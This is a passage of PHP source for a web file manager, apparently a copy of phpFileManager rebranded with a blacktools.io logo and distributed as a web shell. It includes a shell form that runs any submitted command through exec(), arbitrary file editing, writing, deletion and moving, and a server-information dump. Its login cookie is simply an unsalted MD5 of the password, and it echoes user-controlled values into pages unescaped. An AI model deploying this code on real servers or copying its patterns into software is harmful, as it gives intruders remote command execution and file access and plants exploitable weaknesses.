3771 <input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\">
3772 </td>
3773 </tr>
3774 <tr bgcolor=\"#DDDDDD\">
3775 <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Exec')."</td>
3776 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3777 <input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\">
3778 </td>
3779 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\">
3780 </td>
3781 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3782 <input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\">
3783 </td>
3784 </tr>
3785 </TABLE>
3786 <TABLE BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
3787 <tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:sticky_change();\">".et('StickyBit')."</a><td colspan=2 align=right><input type=button value=\"".et('Apply')."\" onClick=\"apply_chmod()\"></tr>
3788 </table>
3789 </form>
3790 </body>\n</html>";
3791}
3792function get_mime_type($ext = ''){
3793 $mimes = array(
3794 'hqx' => 'application/mac-binhex40',
3795 'cpt' => 'application/mac-compactpro',
3796 'doc' => 'application/msword',
3797 'bin' => 'application/macbinary',
3798 'dms' => 'application/octet-stream',
3799 'lha' => 'application/octet-stream',
3800 'lzh' => 'application/octet-stream',
3801 'exe' => 'application/octet-stream',
3802 'class' => 'application/octet-stream',
3803 'psd' => 'application/octet-stream',
3804 'so' => 'application/octet-stream',
3805 'sea' => 'application/octet-stream',
3806 'dll' => 'application/octet-stream',
3807 'oda' => 'application/oda',
3808 'pdf' => 'application/pdf',
3809 'ai' => 'application/postscript',
3810 'eps' => 'application/postscript',
3811 'ps' => 'application/postscript',
3812 'smi' => 'application/smil',
3813 'smil' => 'application/smil',
3814 'mif' => 'application/vnd.mif',
3815 'xls' => 'application/vnd.ms-excel',
3816 'ppt' => 'application/vnd.ms-powerpoint',
3817 'pptx' => 'application/vnd.ms-powerpoint',
3818 'wbxml' => 'application/vnd.wap.wbxml',
3819 'wmlc' => 'application/vnd.wap.wmlc',
3820 'dcr' => 'application/x-director',
3821 'dir' => 'application/x-director',
3822 'dxr' => 'application/x-director',
3823 'dvi' => 'application/x-dvi',
3824 'gtar' => 'application/x-gtar',
3825 'php' => 'application/x-httpd-php',
3826 'php4' => 'application/x-httpd-php',
3827 'php3' => 'application/x-httpd-php',
3828 'phtml' => 'application/x-httpd-php',
3829 'phps' => 'application/x-httpd-php-source',
3830 'js' => 'application/x-javascript',
3831 'swf' => 'application/x-shockwave-flash',
3832 'sit' => 'application/x-stuffit',
3833 'tar' => 'application/x-tar',
3834 'tgz' => 'application/x-tar',
3835 'xhtml' => 'application/xhtml+xml',
3836 'xht' => 'application/xhtml+xml',
3837 'zip' => 'application/zip',
3838 'mid' => 'audio/midi',
3839 'midi' => 'audio/midi',
3840 'mpga' => 'audio/mpeg',
3841 'mp2' => 'audio/mpeg',
3842 'mp3' => 'audio/mpeg',
3843 'aif' => 'audio/x-aiff',
3844 'aiff' => 'audio/x-aiff',
3845 'aifc' => 'audio/x-aiff',
3846 'ram' => 'audio/x-pn-realaudio',
3847 'rm' => 'audio/x-pn-realaudio',
3848 'rpm' => 'audio/x-pn-realaudio-plugin',
3849 'ra' => 'audio/x-realaudio',
3850 'rv' => 'video/vnd.rn-realvideo',
3851 'wav' => 'audio/x-wav',
3852 'bmp' => 'image/bmp',
3853 'gif' => 'image/gif',
3854 'jpeg' => 'image/jpeg',
3855 'jpg' => 'image/jpeg',
3856 'jpe' => 'image/jpeg',
3857 'png' => 'image/png',
3858 'tiff' => 'image/tiff',
3859 'tif' => 'image/tiff',
3860 'css' => 'text/css',
3861 'html' => 'text/html',
3862 'htm' => 'text/html',
3863 'shtml' => 'text/html',
3864 'txt' => 'text/plain',
3865 'text' => 'text/plain',
3866 'log' => 'text/plain',
3867 'rtx' => 'text/richtext',
3868 'rtf' => 'text/rtf',
3869 'xml' => 'text/xml',
3870 'xsl' => 'text/xml',
3871 'mpeg' => 'video/mpeg',
3872 'mpg' => 'video/mpeg',
3873 'mpe' => 'video/mpeg',
3874 'qt' => 'video/quicktime',
3875 'mov' => 'video/quicktime',
3876 'avi' => 'video/x-msvideo',
3877 'movie' => 'video/x-sgi-movie',
3878 'doc' => 'application/msword',
3879 'docx' => 'application/msword',
3880 'word' => 'application/msword',
3881 'xl' => 'application/excel',
3882 'xls' => 'application/excel',
3883 'xlsx' => 'application/excel',
3884 'eml' => 'message/rfc822'
3885 );
3886 return (!isset($mimes[lowercase($ext)])) ? 'application/octet-stream' : $mimes[lowercase($ext)];
3887}
3888function view(){
3889 global $doc_root,$path_info,$url_info,$current_dir,$islinux,$filename,$passthru;
3890 if (intval($passthru)){
3891 $file = $current_dir.$filename;
3892 if(file_exists($file)){
3893 $is_denied = false;
3894 foreach($download_ext_filter as $key=>$ext){
3895 if (eregi($ext,$filename)){
3896 $is_denied = true;
3897 break;
3898 }
3899 }
3900 if (!$is_denied){
3901 if ($fh = fopen("$file", "rb")){
3902 fclose($fh);
3903 $ext = pathinfo($file, PATHINFO_EXTENSION);
3904 $ctype = get_mime_type($ext);
3905 if ($ctype == "application/octet-stream") $ctype = "text/plain";
3906 header("Pragma: public");
3907 header("Expires: 0");
3908 header("Connection: close");
3909 header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
3910 header("Cache-Control: public");
3911 header("Content-Description: File Transfer");
3912 header("Content-Type: ".$ctype);
3913 header("Content-Disposition: inline; filename=\"".pathinfo($file, PATHINFO_BASENAME)."\";");
3914 header("Content-Transfer-Encoding: binary");
3915 header("Content-Length: ".filesize($file));
3916 @readfile($file);
3917 exit();
3918 } else alert(et('ReadDenied').": ".$file);
3919 } else alert(et('ReadDenied').": ".$file);
3920 } else alert(et('FileNotFound').": ".$file);
3921 echo "
3922 <script language=\"Javascript\" type=\"text/javascript\">
3923 <!--
3924 window.close();
3925 //-->
3926 </script>";
3927 } else {
3928 html_header();
3929 echo "<body marginwidth=\"0\" marginheight=\"0\">";
3930 $is_reachable_thru_webserver = (stristr($current_dir,$doc_root)!==false);
3931 if ($is_reachable_thru_webserver){
3932 $url = $url_info["scheme"]."://".$url_info["host"];
3933 if (strlen($url_info["port"])) $url .= ":".$url_info["port"];
3934 // Malditas variaveis de sistema!! No windows doc_root é sempre em lowercase... cadê o str_ireplace() ??
3935 $url .= str_replace($doc_root,"","/".$current_dir).$filename;
3936 } else {
3937 $url = addslashes($path_info["basename"])."?action=4¤t_dir=".addslashes($current_dir)."&filename=".addslashes($filename)."&passthru=1";
3938 }
3939 echo "
3940 <script language=\"Javascript\" type=\"text/javascript\">
3941 <!--
3942 window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
3943 document.location.href='$url';
3944 //-->
3945 </script>
3946 </body>\n</html>";
3947 }
3948}
3949function edit_file_form(){
3950 global $current_dir,$filename,$file_data,$save_file,$path_info;
3951 $file = $current_dir.$filename;
3952 if ($save_file){
3953 $fh=fopen($file,"w");
3954 fputs($fh,$file_data,strlen($file_data));
3955 fclose($fh);
3956 }
3957 $fh=fopen($file,"r");
3958 $file_data=fread($fh, filesize($file));
3959 fclose($fh);
3960 html_header();
3961 echo "<body marginwidth=\"0\" marginheight=\"0\">
3962 <table border=0 cellspacing=0 cellpadding=5 align=center>
3963 <form name=\"edit_form\" action=\"".$path_info["basename"]."\" method=\"post\">
3964 <input type=hidden name=action value=\"7\">
3965 <input type=hidden name=save_file value=\"1\">
3966 <input type=hidden name=current_dir value=\"$current_dir\">
3967 <input type=hidden name=filename value=\"$filename\">
3968 <tr><th colspan=2>".$file."</th></tr>
3969 <tr><td colspan=2><textarea name=file_data style='width:1000px;height:680px;'>".html_encode($file_data)."</textarea></td></tr>
3970 <tr><td><input type=button value=\"".et('Refresh')."\" onclick=\"document.edit_form_refresh.submit()\"></td><td align=right><input type=button value=\"".et('SaveFile')."\" onclick=\"go_save()\"></td></tr>
3971 </form>
3972 <form name=\"edit_form_refresh\" action=\"".$path_info["basename"]."\" method=\"post\">
3973 <input type=hidden name=action value=\"7\">
3974 <input type=hidden name=current_dir value=\"$current_dir\">
3975 <input type=hidden name=filename value=\"$filename\">
3976 </form>
3977 </table>
3978 <script language=\"Javascript\" type=\"text/javascript\">
3979 <!--
3980 window.moveTo((window.screen.width-1024)/2,((window.screen.height-728)/2)-20);
3981 function go_save(){";
3982 if (is_writable($file)) {
3983 echo "
3984 document.edit_form.submit();";
3985 } else {
3986 echo "
3987 if(confirm('".et('ConfTrySave')." ?')) document.edit_form.submit();";
3988 }
3989 echo "
3990 }
3991 //-->
3992 </script>
3993 </body>\n</html>";
3994}
3995function config_form(){
3996 global $cfg;
3997 global $current_dir,$fm_self,$doc_root,$path_info,$fm_current_root,$lang,$error_reporting,$version;
3998 global $config_action,$newpass,$newlang,$newerror,$newfm_root;
3999 $Warning = "";
4000 switch ($config_action){
4001 case 1:
4002 if ($fh = fopen("http://phpfm.sf.net/latest.php","r")){
4003 $data = "";
4004 while (!feof($fh)) $data .= fread($fh,1024);
4005 fclose($fh);
4006 $data = unserialize($data);
4007 $ChkVerWarning = "<tr><td align=right> ";
4008 if (is_array($data)&&count($data)){
4009 $ChkVerWarning .= "<a href=\"JavaScript:open_win('http://sourceforge.net')\">
4010 <img src=\"http://sourceforge.net/sflogo.php?group_id=114392&type=1\" width=\"88\" height=\"31\" style=\"border: 1px solid #AAAAAA\" alt=\"SourceForge.net Logo\" />
4011 </a>";
4012 if (str_replace(".","",$data['version'])>str_replace(".","",$cfg->data['version'])) $ChkVerWarning .= "<td><a href=\"JavaScript:open_win('http://prdownloads.sourceforge.net/phpfm/phpFileManager-".$data['version'].".zip?download')\"><font color=green>".et('ChkVerAvailable')."</font></a>";
4013 else $ChkVerWarning .= "<td><font color=red>".et('ChkVerNotAvailable')."</font>";
4014 } else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
4015 } else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
4016 break;
4017 case 2:
4018 $reload = false;
4019 if ($cfg->data['lang'] != $newlang){
4020 $cfg->data['lang'] = $newlang;
4021 $lang = $newlang;
4022 $reload = true;
4023 }
4024 if ($cfg->data['error_reporting'] != $newerror){
4025 $cfg->data['error_reporting'] = $newerror;
4026 $error_reporting = $newerror;
4027 $reload = true;
4028 }
4029 $newfm_root = format_path($newfm_root);
4030 if ($cfg->data['fm_root'] != $newfm_root){
4031 $cfg->data['fm_root'] = $newfm_root;
4032 if (strlen($newfm_root)) $current_dir = $newfm_root;
4033 else $current_dir = $path_info["dirname"]."/";
4034 setcookie("fm_current_root", $newfm_root , 0 , "/");
4035 $reload = true;
4036 }
4037 $cfg->save();
4038 if ($reload){
4039 reloadframe("window.opener.parent",2);
4040 reloadframe("window.opener.parent",3);
4041 }
4042 $Warning1 = et('ConfSaved')."...";
4043 break;
4044 case 3:
4045 if ($cfg->data['auth_pass'] != md5($newpass)){
4046 $cfg->data['auth_pass'] = md5($newpass);
4047 setcookie("loggedon", md5($newpass) , 0 , "/");
4048 }
4049 $cfg->save();
4050 $Warning2 = et('PassSaved')."...";
4051 break;
4052 }
4053 html_header();
4054 echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
4055 echo "
4056 <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
4057 <tr><td colspan=2 align=center><b>".uppercase(et('Configurations'))."</b></td></tr>
4058 </table>
4059 <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
4060 <form>
4061 <tr><td align=right width=\"1%\">".et('Version').":<td>$version (".get_size($fm_self).")</td></tr>
4062 <tr><td align=right>".et('Website').":<td><a href=\"JavaScript:open_win('http://phpfm.sf.net')\">http://phpfm.sf.net</a> <input type=button value=\"".et('ChkVer')."\" onclick=\"test_config_form(1)\"></td></tr>
4063 </form>";
4064 if (strlen($ChkVerWarning)) echo $ChkVerWarning.$data['warnings'];
4065 echo "
4066 <style type=\"text/css\">
4067 .buymeabeer {
4068 background: url('http://phpfm.sf.net/img/buymeabeer.png') 0 0 no-repeat;
4069 text-indent: -9999px;
4070 width: 128px;
4071 height: 31px;
4072 border: none;
4073 cursor: hand;
4074 cursor: pointer;
4075 }
4076 .buymeabeer:hover {
4077 background: url('http://phpfm.sf.net/img/buymeabeer.png') 0 -31px no-repeat;
4078 }
4079 </style>
4080 <tr><td align=right>Like this project?</td><td>
4081 <form name=\"buymeabeer_form\" action=\"https://www.paypal.com/cgi-bin/webscr\" method=\"post\">
4082 <input type=\"hidden\" name=\"cmd\" value=\"_xclick\">
4083 <input type=\"hidden\" name=\"business\" value=\"dulldusk@gmail.com\">
4084 <input type=\"hidden\" name=\"lc\" value=\"BR\">
4085 <input type=\"hidden\" name=\"item_name\" value=\"A Beer\">
4086 <input type=\"hidden\" name=\"button_subtype\" value=\"services\">
4087 <input type=\"hidden\" name=\"currency_code\" value=\"USD\">
4088 <input type=\"hidden\" name=\"tax_rate\" value=\"0.000\">
4089 <input type=\"hidden\" name=\"shipping\" value=\"0.00\">
4090 <input type=\"hidden\" name=\"bn\" value=\"PP-BuyNowBF:btn_buynowCC_LG.gif:NonHostedGuest\">
4091 <input type=\"submit\" class=\"buymeabeer\" value=\"buy me a beer\">
4092 <input type=\"hidden\" name=\"buyer_credit_promo_code\" value=\"\">
4093 <input type=\"hidden\" name=\"buyer_credit_product_category\" value=\"\">
4094 <input type=\"hidden\" name=\"buyer_credit_shipping_method\" value=\"\">
4095 <input type=\"hidden\" name=\"buyer_credit_user_address_change\" value=\"\">
4096 <input type=\"hidden\" name=\"tax\" value=\"0\">
4097 <input type=\"hidden\" name=\"no_shipping\" value=\"1\">
4098 <input type=\"hidden\" name=\"return\" value=\"http://phpfm.sf.net\">
4099 <input type=\"hidden\" name=\"cancel_return\" value=\"http://phpfm.sf.net\">
4100 </form>
4101 </td></tr>
4102 <form name=\"config_form\" action=\"".$path_info["basename"]."\" method=\"post\">
4103 <input type=hidden name=action value=2>
4104 <input type=hidden name=config_action value=0>
4105 <tr><td align=right width=1><nobr>".et('DocRoot').":</nobr><td>".$doc_root."</td></tr>
4106 <tr><td align=right><nobr>".et('FLRoot').":</nobr><td><input type=text size=60 name=newfm_root value=\"".$cfg->data['fm_root']."\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\"></td></tr>
4107 <tr><td align=right>".et('Lang').":<td>
4108 <select name=newlang>
4109 <option value=cat>Catalan - by Pere Borràs AKA @Norl
4110 <option value=nl>Dutch - by Leon Buijs
4111 <option value=en>English - by Fabricio Seger Kolling
4112 <option value=fr1>French - by Jean Bilwes
4113 <option value=fr2>French - by Sharky
4114 <option value=fr3>French - by Michel Lainey
4115 <option value=de1>German - by Guido Ogrzal
4116 <option value=de2>German - by AXL
4117 <option value=de3>German - by Mathias Rothe
4118 <option value=it1>Italian - by Valerio Capello
4119 <option value=it2>Italian - by Federico CorrÃ
4120 <option value=it3>Italian - by Luca Zorzi
4121 <option value=it4>Italian - by Gianni
4122 <option value=kr>Korean - by Airplanez
4123 <option value=pt>Portuguese - by Fabricio Seger Kolling
4124 <option value=es>Spanish - by Sh Studios
4125 <option value=ru>Russian - by Евгений Рашев
4126 <option value=tr>Turkish - by Necdet Yazilimlari
4127 </select></td></tr>
4128 <tr><td align=right>".et('ErrorReport').":<td><select name=newerror>
4129 <option value=\"0\">Disabled
4130 <option value=\"1\">Show Errors
4131 <option value=\"2\">Show Errors, Warnings and Notices
4132 </select></td></tr>
4133 <tr><td> <td><input type=button value=\"".et('SaveConfig')."\" onclick=\"test_config_form(2)\">";
4134 if (strlen($Warning1)) echo " <font color=red>$Warning1</font>";
4135 echo "
4136 <tr><td align=right>".et('Pass').":<td><input type=text size=30 name=newpass value=\"\" onkeypress=\"enterSubmit(event,'test_config_form(3)')\"></td></tr>
4137 <tr><td> <td><input type=button value=\"".et('SavePass')."\" onclick=\"test_config_form(3)\">";
4138 if (strlen($Warning2)) echo " <font color=red>$Warning2</font>";
4139 echo "</td></tr>";
4140 echo "
4141 </form>
4142 </table>
4143 <script language=\"Javascript\" type=\"text/javascript\">
4144 <!--
4145 function set_select(sel,val){
4146 for(var x=0;x<sel.length;x++){
4147 if(sel.options[x].value==val){
4148 sel.options[x].selected=true;
4149 break;
4150 }
4151 }
4152 }
4153 set_select(document.config_form.newlang,'".$cfg->data['lang']."');
4154 set_select(document.config_form.newerror,'".$cfg->data['error_reporting']."');
4155 function test_config_form(arg){
4156 document.config_form.config_action.value = arg;
4157 document.config_form.submit();
4158 }
4159 function open_win(url){
4160 var w = 800;
4161 var h = 600;
4162 window.open(url, '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=yes,menubar=yes,location=yes');
4163 }
4164 window.moveTo((window.screen.width-600)/2,((window.screen.height-400)/2)-20);
4165 window.focus();
4166 //-->
4167 </script>
4168 ";
4169 echo "</body>\n</html>";
4170}
4171function shell_form(){
4172 global $current_dir,$shell_form,$cmd_arg,$path_info;
4173 $data_out = "";
4174 if (strlen($cmd_arg)){
4175 exec($cmd_arg,$mat);
4176 if (count($mat)) $data_out = trim(implode("\n",$mat));
4177 }
4178 switch ($shell_form){
4179 case 1:
4180 html_header();
4181 echo "
4182 <body marginwidth=\"0\" marginheight=\"0\">
4183 <table border=0 cellspacing=0 cellpadding=0 align=center>
4184 <form name=\"data_form\">
4185 <tr><td><textarea name=data_out rows=36 cols=105 READONLY=\"1\"></textarea></td></tr>
4186 </form>
4187 </table>
4188 </body></html>";
4189 break;
4190 case 2:
4191 html_header();
4192 echo "
4193 <body marginwidth=\"0\" marginheight=\"0\">
4194 <table border=0 cellspacing=0 cellpadding=0 align=center>
4195 <form name=\"shell_form\" action=\"".$path_info["basename"]."\" method=\"post\">
4196 <input type=hidden name=current_dir value=\"$current_dir\">
4197 <input type=hidden name=action value=\"9\">
4198 <input type=hidden name=shell_form value=\"2\">
4199 <tr><td align=center><input type=text size=90 name=cmd_arg></td></tr>
4200 </form>";
4201 echo "
4202 <script language=\"Javascript\" type=\"text/javascript\">
4203 <!--";
4204 if (strlen($data_out)) echo "
4205 var val = '# ".html_encode($cmd_arg)."\\n".html_encode(str_replace("<","[",str_replace(">","]",str_replace("\n","\\n",str_replace("'","\'",str_replace("\\","\\\\",$data_out))))))."\\n';
4206 parent.frame1.document.data_form.data_out.value += val;
4207 parent.frame1.document.data_form.data_out.scrollTop = parent.frame1.document.data_form.data_out.scrollHeight;";
4208 echo "
4209 document.shell_form.cmd_arg.focus();
4210 //-->
4211 </script>
4212 ";
4213 echo "
4214 </table>
4215 </body></html>";
4216 break;
4217 default:
4218 html_header("
4219 <script language=\"Javascript\" type=\"text/javascript\">
4220 <!--
4221 window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
4222 //-->
4223 </script>");
4224 echo "
4225 <frameset rows=\"570,*\" framespacing=\"0\" frameborder=no>
4226 <frame src=\"".$path_info["basename"]."?action=9&shell_form=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
4227 <frame src=\"".$path_info["basename"]."?action=9&shell_form=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
4228 </frameset>
4229 </html>";
4230 }
4231}
4232function server_info(){
4233 if (!@phpinfo()) echo et('NoPhpinfo')."...";
4234 echo "<br><br>";
4235 $a=ini_get_all();
4236 $output="<table border=1 cellspacing=0 cellpadding=4 align=center>";
4237 $output.="<tr><th colspan=2>ini_get_all()</td></tr>";
4238 while(list($key, $value)=each($a)) {
4239 list($k, $v)= each($a[$key]);
4240 $output.="<tr><td align=right>$key</td><td>$v</td></tr>";
4241 }
4242 $output.="</table>";
4243 echo $output;
4244 echo "<br><br>";
4245 $output="<table border=1 cellspacing=0 cellpadding=4 align=center>";
4246 $output.="<tr><th colspan=2>\$_SERVER</td></tr>";
4247 foreach ($_SERVER as $k=>$v) {
4248 $output.="<tr><td align=right>$k</td><td>$v</td></tr>";
4249 }
4250 $output.="</table>";
4251 echo $output;
4252 echo "<br><br>";
4253 echo "<table border=1 cellspacing=0 cellpadding=4 align=center>";
4254 $safe_mode=trim(ini_get("safe_mode"));
4255 if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false;
4256 else $safe_mode=true;
4257 $is_windows_server = (uppercase(substr(PHP_OS, 0, 3)) === 'WIN');
4258 echo "<tr><td colspan=2>".php_uname();
4259 echo "<tr><td>safe_mode<td>".($safe_mode?"on":"off");
4260 if ($is_windows_server) echo "<tr><td>sisop<td>Windows<br>";
4261 else echo "<tr><td>sisop<td>Linux<br>";
4262 echo "</table><br><br><table border=1 cellspacing=0 cellpadding=4 align=center>";
4263 $display_errors=ini_get("display_errors");
4264 $ignore_user_abort = ignore_user_abort();
4265 $max_execution_time = ini_get("max_execution_time");
4266 $upload_max_filesize = ini_get("upload_max_filesize");
4267 $memory_limit=ini_get("memory_limit");
4268 $output_buffering=ini_get("output_buffering");
4269 $default_socket_timeout=ini_get("default_socket_timeout");
4270 $allow_url_fopen = ini_get("allow_url_fopen");
4271 $magic_quotes_gpc = ini_get("magic_quotes_gpc");
4272 ignore_user_abort(true);
4273 ini_set("display_errors",0);
4274 ini_set("max_execution_time",0);
4275 ini_set("upload_max_filesize","10M");
4276 ini_set("memory_limit","20M");
4277 ini_set("output_buffering",0);
4278 ini_set("default_socket_timeout",30);
4279 ini_set("allow_url_fopen",1);
4280 ini_set("magic_quotes_gpc",0);
4281 echo "<tr><td> <td>Get<td>Set<td>Get";
4282 echo "<tr><td>display_errors<td>$display_errors<td>0<td>".ini_get("display_errors");
4283 echo "<tr><td>ignore_user_abort<td>".($ignore_user_abort?"on":"off")."<td>on<td>".(ignore_user_abort()?"on":"off");
4284 echo "<tr><td>max_execution_time<td>$max_execution_time<td>0<td>".ini_get("max_execution_time");
4285 echo "<tr><td>upload_max_filesize<td>$upload_max_filesize<td>10M<td>".ini_get("upload_max_filesize");
4286 echo "<tr><td>memory_limit<td>$memory_limit<td>20M<td>".ini_get("memory_limit");
4287 echo "<tr><td>output_buffering<td>$output_buffering<td>0<td>".ini_get("output_buffering");
4288 echo "<tr><td>default_socket_timeout<td>$default_socket_timeout<td>30<td>".ini_get("default_socket_timeout");
4289 echo "<tr><td>allow_url_fopen<td>$allow_url_fopen<td>1<td>".ini_get("allow_url_fopen");
4290 echo "<tr><td>magic_quotes_gpc<td>$magic_quotes_gpc<td>0<td>".ini_get("magic_quotes_gpc");
4291 echo "</table><br><br>";
4292 echo "
4293 <script language=\"Javascript\" type=\"text/javascript\">
4294 <!--
4295 window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
4296 window.focus();
4297 //-->
4298 </script>";
4299 echo "</body>\n</html>";
4300}
4301// +--------------------------------------------------
4302// | Session
4303// +--------------------------------------------------
4304function logout(){
4305 setcookie("loggedon",0,0,"/");
4306 login_form();
4307}
4308function login(){
4309 global $pass,$auth_pass,$path_info;
4310 if (md5(trim($pass)) == $auth_pass){
4311 setcookie("loggedon",$auth_pass,0,"/");
4312 header ("Location: ".$path_info["basename"]."");
4313 } else header ("Location: ".$path_info["basename"]."?erro=1");
4314}
4315function login_form(){
4316 global $erro,$auth_pass,$path_info;
4317 html_header();
4318 echo "<body onLoad=\"if(parent.location.href != self.location.href){ parent.location.href = self.location.href } return true;\">\n";
4319 if ($auth_pass != md5("")){
4320 echo "
4321 <table border=0 cellspacing=0 cellpadding=5>
4322 <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
4323 <tr>
4324 <td><b><img src='http://blacktools.io/images/logo.jpg' height='30' width='30'/>".et('FileMan')."</b>
4325 </tr>
4326 <tr>
4327 <td align=left><font size=4>".et('TypePass').".</font>
4328 </tr>
4329 <tr>
4330 <td><input name=pass type=password size=10> <input type=submit value=\"".et('Send')."\">
4331 </tr>
4332 ";
4333 if (strlen($erro)) echo "
4334 <tr>
4335 <td align=left><font color=red size=4>".et('InvPass').".</font>
4336 </tr>
4337 ";
4338 echo "
4339 </form>
4340 </table>
4341 <script language=\"Javascript\" type=\"text/javascript\">
4342 <!--
4343 document.login_form.pass.focus();
4344 //-->
4345 </script>
4346 ";
4347 } else {
4348 echo "
4349 <table border=0 cellspacing=0 cellpadding=5>
4350 <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
4351 <input type=hidden name=frame value=3>
4352 <input type=hidden name=pass value=\"\">
4353 <tr>
4354 <td><img src='http://blacktools.io/images/logo.jpg' height='30' width='30'/><font size='6'>".et('FileMan')."<font>
4355 </tr>
4356 <tr>
4357 <td><input type=submit value=\"".et('Enter')."\">
4358 </tr>
4359 </form>
4360 </table>
4361 ";
4362 }
4363 echo "</body>\n</html>";
4364}
4365function frame3(){
4366 global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_current_root,$cookie_cache_time;
4367 global $dir_dest,$current_dir,$dir_before;
4368 global $selected_file_list,$selected_dir_list,$old_name,$new_name;
4369 global $action,$or_by,$order_dir_list_by;
4370 if (!isset($order_dir_list_by)){
4371 $order_dir_list_by = "1A";
4372 setcookie("order_dir_list_by", $order_dir_list_by , time()+$cookie_cache_time , "/");
4373 } elseif (strlen($or_by)){
4374 $order_dir_list_by = $or_by;
4375 setcookie("order_dir_list_by", $or_by , time()+$cookie_cache_time , "/");
4376 }
4377 html_header();
4378 echo "<body>\n";
4379 if ($action){
4380 switch ($action){
4381 case 1: // create dir
4382 if (strlen($cmd_arg)){
4383 $cmd_arg = format_path($current_dir.$cmd_arg);
4384 if (!file_exists($cmd_arg)){
4385 @mkdir($cmd_arg,0755);
4386 @chmod($cmd_arg,0755);
4387 reloadframe("parent",2,"&ec_dir=".$cmd_arg);
4388 } else alert(et('FileDirExists').".");
4389 }
4390 break;
4391 case 2: // create arq
4392 if (strlen($cmd_arg)){
4393 $cmd_arg = $current_dir.$cmd_arg;
4394 if (!file_exists($cmd_arg)){
4395 if ($fh = @fopen($cmd_arg, "w")){
4396 @fclose($fh);
4397 }
4398 @chmod($cmd_arg,0644);
4399 } else alert(et('FileDirExists').".");
4400 }
4401 break;
4402 case 3: // rename arq ou dir
4403 if ((strlen($old_name))&&(strlen($new_name))){
4404 rename($current_dir.$old_name,$current_dir.$new_name);
4405 if (is_dir($current_dir.$new_name)) reloadframe("parent",2);
4406 }
4407 break;
4408 case 4: // delete sel
4409 if(strstr($current_dir,$fm_current_root)){
4410 if (strlen($selected_file_list)){
4411 $selected_file_list = explode("<|*|>",$selected_file_list);
4412 if (count($selected_file_list)) {
4413 for($x=0;$x<count($selected_file_list);$x++) {
4414 $selected_file_list[$x] = trim($selected_file_list[$x]);
4415 if (strlen($selected_file_list[$x])) total_delete($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
4416 }
4417 }
4418 }
4419 if (strlen($selected_dir_list)){
4420 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4421 if (count($selected_dir_list)) {
4422 for($x=0;$x<count($selected_dir_list);$x++) {
4423 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4424 if (strlen($selected_dir_list[$x])) total_delete($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
4425 }
4426 reloadframe("parent",2);
4427 }
4428 }
4429 }
4430 break;
4431 case 5: // copy sel
4432 if (strlen($dir_dest)){
4433 if(uppercase($dir_dest) != uppercase($current_dir)){
4434 if (strlen($selected_file_list)){
4435 $selected_file_list = explode("<|*|>",$selected_file_list);
4436 if (count($selected_file_list)) {
4437 for($x=0;$x<count($selected_file_list);$x++) {
4438 $selected_file_list[$x] = trim($selected_file_list[$x]);
4439 if (strlen($selected_file_list[$x])) total_copy($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
4440 }
4441 }
4442 }
4443 if (strlen($selected_dir_list)){
4444 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4445 if (count($selected_dir_list)) {
4446 for($x=0;$x<count($selected_dir_list);$x++) {
4447 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4448 if (strlen($selected_dir_list[$x])) total_copy($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
4449 }
4450 reloadframe("parent",2);
4451 }
4452 }
4453 $current_dir = $dir_dest;
4454 }
4455 }
4456 break;
4457 case 6: // move sel
4458 if (strlen($dir_dest)){
4459 if(uppercase($dir_dest) != uppercase($current_dir)){
4460 if (strlen($selected_file_list)){
4461 $selected_file_list = explode("<|*|>",$selected_file_list);
4462 if (count($selected_file_list)) {
4463 for($x=0;$x<count($selected_file_list);$x++) {
4464 $selected_file_list[$x] = trim($selected_file_list[$x]);
4465 if (strlen($selected_file_list[$x])) total_move($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
4466 }
4467 }
4468 }
4469 if (strlen($selected_dir_list)){
4470 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4471 if (count($selected_dir_list)) {
4472 for($x=0;$x<count($selected_dir_list);$x++) {
4473 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4474 if (strlen($selected_dir_list[$x])) total_move($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
4475 }
4476 reloadframe("parent",2);
4477 }
4478 }
4479 $current_dir = $dir_dest;
4480 }
4481 }
4482 break;
4483 case 71: // compress sel
4484 if (strlen($cmd_arg)){
4485 ignore_user_abort(true);
4486 ini_set("display_errors",0);
